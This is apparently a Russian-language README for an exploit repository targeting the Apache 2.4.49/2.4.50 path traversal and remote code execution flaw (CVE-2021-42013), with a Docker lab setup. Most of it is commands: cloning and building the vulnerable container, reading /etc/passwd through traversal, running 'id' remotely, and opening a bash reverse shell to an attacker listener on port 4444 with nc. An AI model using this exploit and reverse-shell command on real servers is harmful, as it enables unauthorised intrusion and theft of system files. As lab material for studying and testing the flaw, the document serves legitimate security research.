
Эксплойт для Apache 2.4.49/2.4.50 — обход пути и RCE (CVE-2021-42013). Включает настройку Docker и скрипт для проверки обхода пути, выполнения команд и получения обратной оболочки.
⚠️ Только для образовательных и санкционированных исследований безопасности
Огромная благодарность оригинальному автору PoC Walnut Security Services Pvt. Ltd
Злоумышленник может использовать атаку обхода пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных с помощью директив типа Alias. Если файлы за пределами этих каталогов не защищены обычной конфигурацией по умолчанию "require all denied", такие запросы могут быть выполнены. Если также включены CGI-скрипты для этих псевдонимов путей, это может привести к удаленному выполнению кода. Эта проблема затрагивает только Apache 2.4.49 и Apache 2.4.50, но не более ранние версии.
Сначала клонируйте репозиторий
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Перейдите в каталог
cd CVE-2021-42013
Соберите уязвимый контейнер
docker build -t CVE-2021-42013 .
Запустите эфемерный контейнер
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Проверьте IP-адрес контейнера
docker inspect CVE-2021-42013 | grep "IPAddress"
Дайте разрешение на выполнение скрипту
chmod +x cve-2021-42013.sh
Чтобы проверить и подтвердить обход пути, необходимо найти действительный каталог, который в данном случае настроен как /icons. Таким образом, выполнение следующей команды вызовет уязвимость обхода пути и выведет содержимое /etc/passwd:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
Чтобы проверить и подтвердить удаленное выполнение кода, CGI должен быть настроен и включен, что в данном случае так. Таким образом, выполнение следующей команды вызовет удаленное выполнение кода и выведет результат команды id:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
С точки зрения атакующего, удаленное выполнение кода имеет решающее значение для получения доступа к интерактивной оболочке. Таким образом, выполнение следующей команды вызовет обычный обратный shell поверх tcp на основе bash на систему атакующего на порту 4444/tcp:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444